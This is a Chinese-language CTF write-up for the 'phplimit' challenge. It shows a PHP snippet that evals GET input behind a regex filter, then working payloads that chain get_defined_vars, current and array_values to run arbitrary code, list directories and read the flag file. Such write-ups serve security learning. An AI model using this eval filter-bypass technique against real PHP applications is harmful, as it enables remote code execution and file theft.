0%

phplimit

前言

题目地址:https://code-breaking.com/

题目源码地址:https://github.com/phith0n/code-breaking/tree/master/2018

下载后在本地起docker即可,端口对应在docker-compose.yml

题目

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

这题一看就是考无参数RCE的,直接上payload了

1
2
a=print_r(scandir("../"));&code=eval(current(array_values(current(array_values(get_defined_vars())))));
//变量a需写在前面

image-20220318225345076

1
a=readfile("../flag_phpbyp4ss");&code=eval(current(array_values(current(array_values(get_defined_vars())))));

image-20220318225654373


分析

我们可以本地看一下get_defined_vars()的输出

image-20220318225800866

第一个键值对保存的是GET传入的变量的数组,用array_value()和current()可以取出Array ( [a] => 1 ),再来一次即可取出a传入的变量值,再在前边加个eval,那eval的内容就为我们所控了

-------------本文结束感谢您的阅读-------------